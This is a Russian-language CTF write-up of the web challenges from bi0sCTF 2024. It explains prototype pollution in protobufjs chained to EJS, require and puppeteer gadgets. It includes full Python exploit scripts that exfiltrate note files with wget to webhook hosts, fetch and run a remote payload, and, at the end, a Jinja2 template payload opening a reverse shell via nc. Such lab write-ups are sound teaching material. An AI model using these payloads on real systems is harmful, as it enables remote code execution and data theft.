Перейти к основному содержимому

Writeup Web Bi0sCTF 2024

·6 минут· loading · loading ·
Bebra
Web
Автор
Bebra
cR4.sh / Ношу кофе
Оглавление

welcome

всем превед. Недавно прошел (4 месяца назад ахвыхахаы) bi0s ctf, на удивление там были весьма занимательные задания в категории web, разбором которых я просто обязан с вами поделиться. Бтв самостоятельно развернуть таски можно атсюда

Required Notes
#

Whitebox таск с максимальным количеством солвов, функционал создания записок. Спойлер: имеет несколько интересных решений.

tl;dr
#

Server Side Prototype Pollution в protobuf js библиотеке CVE-2023-36665, приводящий к RCE, используя гаджеты в ejs шаблонизаторе. Возможность подобрать сид для math.random и предугадать айди записки с флагом, а также эксплуатация SSPP без RCE.

А теперь по порядочку
#

первоначально, по заветам лучших метод анализа защищенности, проверяем наличие xss базовым нагрузом -> получаем закономерный профит.

stored xss!!!
Казалось бы, теперь кидаем линк на нашу страничку с нагрузом боту и читаем флаг, однако все не так просто. Бот ходит только на Healthcheck, соответственно нам надо как-то подсунуть боту собственную записку вместо имеющегося хелсчека.

Не найдя больше ничего, кроме xss - xsleaks через /search (который нужен для интендед способа вытащить посимвольно флаг) - приходится думать шире. Глаза втыкаются в файл settings.proto (немного базы про работу протобафа), чекаем версию protobufjs пакета - о чудо, она имеет CVE-2023-36665. Загрязнение прототипа на стороне сервера возможно при обработке протобафа через функции: parse,setParsedOption,util.setProperty,load/loadSyncfunctions. В данном кейсе используется parse

    schema = fs.readFileSync('./settings.proto', 'utf-8');
    root = protobuf.parse(schema).root;

А еще мы можем записывать что угодно в файл settings.proto через ручку /customise - соответственно есть все возможности проэксплуатировать Server Side Prototype Pollution. Чуток базы -> SSPP.

Для эксплуатации загрязнения прототипа через протобаф есть PoC:

const protobuf = require("protobufjs");
protobuf.parse('option(a).constructor.prototype.verified = true;');
console.log({}.verified);
// returns true

Для наглядности в локально поднятом инстансе я добавляю ручку, выводящую мне значение {}.verified.

app.get('/verif', (req, res) => {
  return res.json({Message: {}.verified})
});

Теперь попытка создать кастомный атрибут verified:

poc

Сперва выполняем запись полезной нагрузки в settings.proto файл, далее для отрабатывания создаем записку, чтобы поместить пейлоад в функцию parse, которая небезопасно обработает вводные и я успешно создал новый атрибут verified со значением true для всех объектов.

С имеющимся SSPP далее можно решить разными способами.

RCE через гаджет ejs
#

EJS шаблонизатор, как сказано в статье, развязывает нам руки решить таск unintended способом - получив Remote Code Execution. Если кратко по гаджетам, то необходимо поставить атрибут client равным единице и escapeFunction в значение JSON.stringify; process.mainModule.require('child_process').exec('wget http://collaborator.qwe'), а также важно после записи этих атрибутов отрендерить страничку на фронте, например сделать get запрос на /create, чтобы стриггерить ejs и он исполнил то, что мы ему приказали.

Итоговый сплойт для этого способа:

import requests

BASE_URL = "http://localhost:3000"

def pp(key: str, value: str):
    author = "option(a).constructor.prototype." + key + "=" + value + ""
    res = requests.post(BASE_URL +
        "/customise",
        json={
            "data": [
                {},
                {
                    "author": author,
                },
            ]
        },
    )
    assert res.json()["Message"] == "Settings changed", res.text
    res = requests.post(BASE_URL + "/create", json={})
    assert res.status_code == 500

pp("client", "1")
pp(
    "escapeFunction",
    "\"JSON.stringify; process.mainModule.require('child_process').exec('wget https://enq0o6tnl7p8d.x.pipedream.net/ --post-data=\\\"$(cat notes/*)\\\"')\"",
)

requests.get(BASE_URL +"/create")

Загрязнение атрибута _peername
#

Еще один солюшн предполагает обход защиты на ручку /search, которая позволит посимвольно извлечь айди записки с флагом. Защита реализована так, чтобы разрешать данный поиск только если запрос сделан от локалхоста.

Необходимо поискать гаджеты в атрибутах req.connection. Для этого выведем объект req.connection в методе проверки адреса:

const restrictToLocalhost = (req, res, next) => {
  const remoteAddress = req.connection.remoteAddress;

  console.log(req.connection);
  
  if (remoteAddress === '::1' || remoteAddress === '127.0.0.1' || remoteAddress === '::ffff:127.0.0.1') {
    next();
  } else {
    res.status(403).json({ Message: 'Access denied' });
  }
};

Из всех атрибутов бросается в глаза _peername:

_peername: { address: '::ffff:192.168.144.1', family: 'IPv6', port: 38258 }

патаму чта он удивительно схож с remoteAddress. Далее в интернетах серчим инфу по странному атрибуту, находим вопрос на стаковерфлоу, из которого понимаем, что _peername объявляется только после объявления remoteAddress, следовательно можно попробовать переписать _peername со значением локалхоста, таким образом remoteAddress также примет значение локалхоста, тк под капотом видать один атрибут уравнивается к другому.

Соответсвтенно делаем нагруз вида option(a).constructor.prototype._peername.address=\"127.0.0.1\" и получаем доступ к /search. Далее дело за малым: просто вытаскиваем посимвольно noteId флага.

готовый сплойт лежит тут

Эксплуатация math.random
#

Для генерации ID записки исполюзается генератор псевдослучайных чисел, поэтому есть вектор предугадать noteId флага. Мне было немного в падлу разбираться, поэтому просто держите сурс

ДОПИСАТЬ

Эксплуатация гаджета required
#

Изначально этот способ подразумевался интендед способом, однако решить таск можно было намного проще, так что автор решил добавить некоторую санитизацию, а также ограничить длину записываемой полезной нагрузки в протофайл, поэтому интендед способ будет описан в модификации текущего таска.

RequiredNotes Revenge
#

Продолжение предыдущего таска, имел всего несколько солюшенов.

tl;dr
#

Все то же загрязнение прототипа, однако интендед чейн предполагает следующие шаги:

  • делаем заметку с нагрузом эксплутации xs leaks
  • загрязняем имя экспорта в required, чтобы при открытии healthcheck открывалась заметка с нагрузом, параллельно играясь с кэшом

Intended Solution
#

Достаточно поискать гаджеты для require, одна из статей.

Если чуть углубиться, атрибут data находится тут Гаджет позволяет нам перезаписать data атрибут, содержащий внутри name,exports для любого файла, который подгружается.

Использование сего гаджета включает следующие действия:

  • для корректной эксплуатации нужно отравить атрибут path=./
  • создать note с полезной нагрузкой для эксплуатации xsleaks (например, используя тег option)
  • объявляется data={}, далее в нее кладется name=./notes/Healthcheck и export=./notes/<noteid>.json (потравив прототип, следующий элемент в кеше будет указывать для хелсчека расположение записки с полезной нагрузкой)
  • шлем get запрос на /view/Healthcheck, чтобы в relativeResolveCache положилось содержание файла записки с нагрузом, и старый кеш очистился
  • объявляется data={}, далее в нее кладется name=./notes/zhopi и export=./notes/<noteid>.json. Также шлем get на /view/zhopi, добавляя в кеш require noteid с полезным нагрузом. Таким образом healthcheck становится доступным для чтения.
  • теперь можно посылать бота на /view/Healthcheck

Полный авторский сплойт

Еще один unintended RCE
#

У автора не получилось исключить возможность добиться удаленного выполнения кода, потому что умельцами был найден еще один гаджет в puppeteer (модуль браузером для эмуляции пользователя, чтобы протестировать client-side уязвимости). Итого найдены фрагменты:

1

    this.#browserProcess = childProcess.spawn(
     this.#executablePath,
     this.#args,
     {
       detached: opts.detached,
       env,
       stdio,
     }
   );

2

    const {
     ignoreDefaultArgs = false,
     args = [],
     pipe = false,
     debuggingPort,
     channel,
     executablePath,
   } = options;

Итого перезаписываем shell, атрибут childProcess на sh, executablePath выставляем диреукторию с записками, далее в debuggingPort пишем команды для исполнения, однако мы ограничены по длине входных данных, поэтому хостим у себя на белом ip нагруз wget https://webhook.site/xxxxx --post-data="$(cat *.json), подтягиваем и выполняем

итоговый сплойт

import httpx

BASE_URL = "http://localhost:3000"

ATTACKER_HOST = "evil.example.com"

client = httpx.Client(base_url=BASE_URL)

def pp(key: str, value: str):
   author = "option(a).constructor.prototype." + key + "=" + value + ""
   assert len(author) <= 86, [author, len(author)]
   res = client.post(
       "/customise",
       json={
           "data": [
               {},
               {
                   "author": author,
               },
           ]
       },
   )
   assert res.json()["Message"] == "Settings changed", res.text
   res = client.post("/create", json={})
   assert res.status_code == 500

pp("shell", '"sh"')
pp("userDataDir", '"/app/notes"')
pp("executablePath", '"echo"')
pp("ignoreDefaultArgs", "true")

pp("debuggingPort", '";cd\\tnotes;a="')
pp("debuggingPort", f'";wget\\t{ATTACKER_HOST}/x;a="')
pp("debuggingPort", '";sh\\tx;"')

res = client.get("/healthcheck")
assert res.json()["Message"] == "healthcheck failed"

передохните.

отдых

END
#

Сел я за эту статью спустя несколько месяцев и понял, что мне в падлу дальше расписывать, так что просто скину на оставшиеся таски авторские райтапы без адаптации.

Дополнительно unintended на bad notes:

Arbitrary file write using "/tmp/test.txt" as filename because the code is using os.path.join (ex: os.path.join("/app/","/tmp/test.txt") => /tmp/test.txt)

Then, you don't have to reach the login page as a GET request, so that flask will not cache the /app/templates/login.html page. (use only POST request in burp repeater for example)

Overwrite /app/templates/login.html with a classic jinja2 rce payload :

{{ self.init.globals.builtins.import('os').popen('nc IP PORT -e /bin/bash').read() }}

Reach the /login page, flask will load the /app/templates/login.html but we have poison it before flask loads it :), get a shell and sudo /bin/cat /flag

Всем спасибо всем пака😘